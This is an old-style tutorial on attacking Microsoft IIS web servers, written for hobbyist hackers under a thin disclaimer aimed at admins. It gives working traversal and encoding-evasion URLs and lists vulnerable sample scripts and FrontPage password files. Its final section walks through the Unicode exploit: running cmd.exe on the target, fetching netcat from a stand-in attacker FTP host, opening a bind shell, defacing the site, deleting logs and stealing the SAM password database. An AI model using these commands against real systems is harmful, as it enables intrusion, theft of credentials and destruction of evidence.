Guide to IIS Exploitation

    

Disclaimer: I do not condone hacking IIS servers in any way,

                shape or form. This guide is intended as a guide

                for admins to help them understand what most

                script kiddies don't understand but are happy to

                exploit.

--[On the first day, God created directory traversal]

Relative paths are the developers friend. They allow an entire website to

be moved to another directory without the need for changing all the links

in the html. For example, lets say we have a webpage called 'pictures.html'

in the htdocs dir:

  Absolute path:  /home/webpages/htdocs/pictures.html

  Absolute path:  /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown

above or use a relative path:

  Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent

directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then

the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar

with the operation. So what's the problem I hear you ask... well, the

programmers of web server didn't think to check the supplied URL to ensure

that the requested file was actually in the web directory. This allows

someone to backtrack through the servers directory structure and request

files that the web server has access to. For example,

  http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade

Intrusion Detection Systems (IDS):

  http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.

This is the same as the previous example and can make string matching IDS's

work for their money.

--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser

routines to check for naughty URL's and keep the requests within the

document root. Then along comes a wiley hacker who wonders if by encoding

the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is

replaced with the hex equivalent (%20):

  http://www.target.com/stuff/my index.html

  becomes

  http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

  http://www.target.com/../../../etc/passwd

  to

  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd

The parser routine checks for the existence of dots in the path and finds

none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol  and the web

server will decode it all for you. This is called the "double decode".

For example, given the URL "http://victim.com/..%252f..%252fdocs/", the

following will take place:

(1) On the first decode, the string will be converted to:

  "http://victim.com/..%2f..%2fdocs/"

  [%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

  "http://victim.com/../../docs/"

  [%2f = '/']

--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally

interoperable. This raised the question of how to deal with all the different

character sets around the world. As a response to this, Unicode was created:

   -----------------------------------------------------------------

   Unicode provides a unique number for every character, no matter

   what the platform, no matter what the program, no matter what

   the language. The Unicode Standard has been adopted by such

   industry leaders as Apple, HP, IBM, JustSystem, Microsoft,

   Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is

   required by modern standards such as XML, Java, ECMAScript

   (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official

   way to implement ISO/IEC 10646. It is supported in many operating

   systems, all modern browsers, and many other products.

   -----from http://www.unicode.org---------------------------------

The problem with Unicode is that it requires 16 bits for a single character

and software tended to use 8 bits for a single character. Unicode TransForm

using 8 bits (UTF-8) was created. This allows for multibyte encoding where a

variable number of bytes can be used for each character:

  Character  1-byte  2-byte  3-byte

   .         2E      C0 AE   E0 80 AE

   /         2F      C0 AF   E0 80 AF

   \         5C      C1 9C   E0 81 9C

This lead to a new vulnerability in certain webservers. The parser didn't

understand this new encoding and allowed it through :-)

For example:

  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web

server doesn't understand the Unicode UTF-8 character set but the underlying

OS does:

  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As

a general rule of thumb you can use the following format as a guide:

  %uxxxx          = Unicode

  %xx%xx          = UTF-8

  %xx             = Hexidecimal

  %xxxx           = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that

increase the functionality of the web server. These ISAPI (Internet Server

API) applications allow programmers/developers to deliver more functionality

to IIS.

The DLL's are loaded into memory at startup and offer significant speed

over traditional CGI programs. For example, they can be combined with the

Internet Database Connector (httpodbc.dll) to create interactive sites that

use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed

with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active

Server Pages) are basically HTML pages with embedded code that is processed

by the webserver before serving it to the client.

Here's some examples to illustrate how the sample pages installed by default

can aid someone breaking into your site via the ASP.DLL:

[prefix all the examples with http://www.target.com]

  /default.asp.

   ** Appending a '.' to the URL can reveal the source

   ** on older systems. Remember hex encoding? You can

   ** also try using %2e to do the same thing.

  /msadc/samples/adctest.asp

   ** This gives you an interface into the msadcs.dll

   ** and allows creation of DSN's. Read RFP's stuff

   ** for idea's on how to exploit this.

  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini

  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

   ** You can view the source of anything in the

   ** document root. '/msadc/' needs to be in the

   ** request as it is checked for, wait for this,

   ** security :-)

  /index.asp::$DATA

   ** Appending '::$DATA' to the URL can reveal

   ** the source of the ASP.

  /index.asp%81

 

   ** Append a hex value between 0x81 and 0xfe

   ** and you can reveal the source of any server

   ** processed file. This only works on servers

   ** that are Chinese, Japanese or Korean.

  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

   ** This one allows you to execute remote

   ** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used

to administer IIS3 servers. In IIS4 they are not used but various .htr samples

are installed by default anyway and offer another avenue for entry.

  /index.asp%20%20%20..(220 more)..%20%20.htr

   ** IIS will redirect this request to ISM.DLL,

   ** which will strip the '.htr' extension and

   ** deliver the source code of the file.

 

  /global.asa+.htr

   ** Does the same thing as the %20%20 exploit

   ** above. ISM.DLL strips the +.htr and delivers

   ** you the source of the file

  /scripts/iisadmin/ism.dll?http/dir

   ** Excellent brute force opportunity if the

   ** dll exists. Successful logons will reveal

   ** lots of useful stuff.

  /iisadmpwd/aexp.htr

   ** The iisadmpwd diectory contains several .htr

   ** files that allow NetBIOS resolution and

   ** password attacks.

  /scripts/iisadmin/bdir.htr??c:\inetpub\www

   ** This method will only reveal directories

   ** but can be useful for identifying the

   ** servers structure for more advanced

   ** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS

(Remote Data Service). RDS is part of the default install of Microsoft Data

Access Components (MDAC) and is a commonly exploited on IIS. It can allow

arbitrary shell commands to be executed with system privileges.

  /msadc/msadcs.dll

   ** If this file exists then there's a pretty

   ** good chance that you can run the RDS

   ** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web

server wants to connect to a database. It allows the creation of web pages

from data in the database, and it allows you to update/delete items from

within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL

for processing.

  /index.idc::$DATA

   ** Appending '::$DATA' to the URL can reveal

   ** the source of the IDC.

  /anything.idc

 

   ** Requesting a non-existance file will

   ** reveal the location of the web root.

  /scripts/iisadmin/tools/ctss.idc

   ** Creates a table based on the parameters it

   ** receives. Excellent place to look at for

   ** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm',

'.shtm' and '.shtml' extension are sent to the DLL which interprets

the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

 

This SSI tells the server to include the 'news.txt' in the final HTML

sent to the use. SSI statements are beyond the scope of this document

but offer another security hole open to our wiley hax0r. Ensure you

remove the app mapping and disable SSI if you do not require its

functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the

following advisory for details:

  http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

  /anything.stm

   ** If you request a file that doesn't exist

   ** then the server error message contains the

   ** the location of the web root.

  /somedir/anything.stm/somedir/index.asp

   ** Using this method allows you to view the

   ** the source code for index.asp.

 

IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'

requests. This DLL has had some big exposure with the recent Nimda worm.

I'm not going into too much detail but '.ida' was used in a buffer

overflow that resulted in user defined code being executed on the server.

  /anything.ida or /anything.idq

 

   ** Requesting a non-existance file will

   ** reveal the location of the web root.

  /query.idq?CiTemplate=../../../boot.ini

   ** You can use this to read any file on

   ** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your

IIS server, via a web browser or the Web Publishing Wizard. The existance of

this DLL can allow attackers upload files to the server. Other files such as

uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site

Server and allow upload of documents to the server:

  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

   ** If this file is there then you may be able

   ** to upload files to the server.

  /scripts/uploadn.asp

 

   ** Connecting to this page gives you a nice

   ** gui for uploading your own webpages. You

   ** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few

of them are very, very insecure. Microsoft recommends that you remove ALL

samples from any production server including the ExAir, WSH, ADO and other

installed samples.

--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've

ever wondered why they use _vti_) is a web design tool that helps you

create and maintain a web site and allows you to publish it to the web

server.

In order to publish using Frontpage the server needs to run certain

programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in

Frontpage. You can list all the files, download password files and upload

your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to

get all the information it needs to publish:

  http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

  http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to

abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world

readable. Here's some of the things you can look for:

  http://www.myserver.com/_vti_pvt/administrators.pwd

  http://www.myserver.com/_vti_pvt/authors.pwd

  http://www.myserver.com/_vti_pvt/service.pwd

  http://www.myserver.com/_vti_pvt/shtml.dll

  http://www.myserver.com/_vti_pvt/shtml.exe

  http://www.myserver.com/_vti_pvt/users.pwd

  http://www.myserver.com/_private

--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external

applications to the web server. A CGI program is excuted in real time and

is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed

anywhere. The programs can be written most languages but typically they are

written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like

Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to

look through the source of the scripts for bad system calls and lax input

validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read

the following tutorials... they explain it better than I ever could:

  Hacking CGI       - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt

  Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.

There are three main types of CGI hacking; URL encoding attacks, input

validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi

using the techniques from previous sections. First, we need to cover some

background. CGI can take lots of shapes and forms. One popular use is via

web based forms that submit information to a CGI via a GET or POST.

 

Top of Form

Bottom of Form

When the user clicks on the submit button his information is passed to the

CGI script to process either via the URL (GET) or via HTTP headers (POST).

Lets assume that the CGI we are going to exploit asks the user for the name

of a file to display. The 'GET' method uses the URL to pass the information

and it would look like this:

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

  ?            - separates the request from the parameters

  filename     - this is the name of the textbox in the html

  =            - assignment for the parameter/value pair

  /etc/passwd  - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be

passed to the CGI. They are separated using a '&':

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break

the CGI then good, you're starting to think in terms of security. Lots of

developers love to program new and interesting things but they do not

consider security. A security conscious programmer would write input

validation routines that would process the data and ensure the user wasn't

be malicious or curious.

As you read through some of the free scripts on the web you will start to

realise that many programmers do not think about security. Lets look briefly

at some ways we could exploit the CGI. The first thing to keep in mind is

that you already know the generic exploits from the previous section. The

only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume

its written Perl). Lets look at some of the things we can try:

  my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

  my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with

poison null bytes. Stop now and go read it... can't be arsed? ok then, 

here's the quick version. is valid in a string with Perl but is NUL

in C. So? When Perl wants to open the file it makes a request to the

operating system through a system call. The operating system is written in

C and is a string delimiter. Lets apply this technique to the

following situation.

I decide to secure my CGI. I append '.html' to any request. This means that

the user can only view html files and if they try something else then it

doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

  my_cgi.pl?filename=../../../../etc/passwd

In Perl the filename string would look like this:

  "../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is

passed to the OS (which is written in C not Perl) the request looks like

this:

  "../../../../etc/passwd"

The OS identifies as the string delimiter and ignores anything that

Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the

script. Then the wiley hax0r will go to altavista and search for sites

that are using that script, eg:

  url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the

taking.

The final method of exploiting CGI is via buffer overflows. Languages like

Java and Perl are immune to buffer overflows because the language looks

after memory management. Programs written in a language such as C are

vulnerable because the programmer is supposed to manage the memory. Some

programmers fail to check the size of data it is fitting into the memory

buffer and overwrites data in the stack.

The goal of the buffer overflow is to overwrite the instruction pointer

which points to the location of the next bit of code to run. An attacker

will attempt to overwrite this pointer with a new pointer that points to

attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For

Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause

a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document.

Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

  http://www.phrack.com/phrack/49/P49-14

--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but

I'm not going to cover everything. I suggest going to the following URL's

and searching for IIS:

  http://www.securityfocus.com/

  http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits

and so that is going to be the focus of the exploitation. The first exploit

I'm going to go through is the recent Unicode exploit for IIS4/5:

  http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me

explain. This had wide exposure on Bugtraq as the Unicode exploit. In

reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep

calling this the Unicode exploit because its now referenced by this name in

the Bugtraq archives and you'll have to search using Unicode to do further

research.

Ok, rant over... To check if the server is exploitable, request the

following URL:

  http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server.

The important thing to note is that the Unicode string can vary depending

where in the world you are. Some possible alternatives include:

  %c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc

There are many more to choose from, just look at some of the Bugtraq posts or

research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing

and the ability to run commands, so you need to find the web root. By default,

the web root is at:

  c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and

see if we can see it:

  cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get

around that by creating a copy of the cmd.exe that has write privileges:

  cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

  http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

  fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

  http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the

words of Microsoft, where do you want to go today? Working via the URL is

pretty clunky and I like the comfort of a nice command prompt, So lets do

that. I want to bring over a copy of netcat and a nice html page that I'll

use to replace the existing one.

First I need to think about the script I want to run that will get the

files I need from my FTP server:

 fugscript:

  open ftp.evilhaxor.com

  anonymous

  anon@microsoft.com

  cd pub

  get nc.exe

  get hacked.html

  quit

Right. I need to get this script onto the webserver:

  fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript

  fug.exe?/c+echo%20anonymous>>fugscript

  fug.exe?/c+echo%20anon@microsoft.com>>fugscript

  fug.exe?/c+echo%20cd%20pub>>fugscript

  fug.exe?/c+echo%20get%20nc.exe>>fugscript

  fug.exe?/c+echo%20get%20hacked.html>>fugscript

  fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step

is to execute the script and get my files from my web server.

  fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files

transferred. Be patient and give it time to transfer. Now you are ready to

get netcat listening on a port. The command line for starting netcat is:

  nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e)

when someone connects. The last step is to translate this command into URL

speak ;-):

  fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and

voila... you have a cmd prompt. I really hate web defacements... so if your

going to do it then rename the existing index.htm (or default.htm) to

something like index.htm.old (give the poor admin a break, cause you can bet

your arse that he hasn't made a backup). ALSO: you are now using a system

without authorisation and as such, you are guilty under the Computer Misuse

Act in the UK and probably of something similar in your own country. If it

never occurred to you to delete the contents of c:\winnt\system32\logfiles

or the 'fugscript' file then you really shouldn't be doing this.

It just wouldn't be right to talk about IIS exploitation without mentioning

msadc.pl. rfp's perl script is a perfect example of exploit chaining. A

single exploit is not used but a chain of exploits to get the script to

work.

The exploit utilises a combination of inadequate application input validation

and default install fun. The process tries to connect to a Data Source Name

(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method.

This test will be logged and you should edit the script to make it a HEAD

request and add some URL obfuscation madness.

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME

separator string. It is advised to change this string as some IDS's are

configured to identify this string.

If you want to write your own scanners then you should be looking for

headers with the content type:

  application/x-varg

and of course the IIS version :-) I don't want to go into too much detail

because this is heavily documented on rfp's site:

  http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

  ./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

  command:

Its interesting to note at this point that 'cmd /c' will is run as with the

previous exploit. You can edit the script to run any other executable such

as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server.

The previous Unicode exploit should have given you some ideas but here's a

couple that come to mind:

  Example 1:

  copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

  (grabbing fug.hak via your browser should give you a nice file to fire up

   in L0phtcrack or JTR)

  Example 2:

  echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript

  && echo mypassword>>fugscript... etc. etc.

 

Anyway, that's about all for now. When I can be bothered I'll add some more

methods to this file. Until then, ensure your box is fully patched and the

default scripts are removed. Go have a look at the following URL and get

secure:

  http://www.microsoft.com/security/
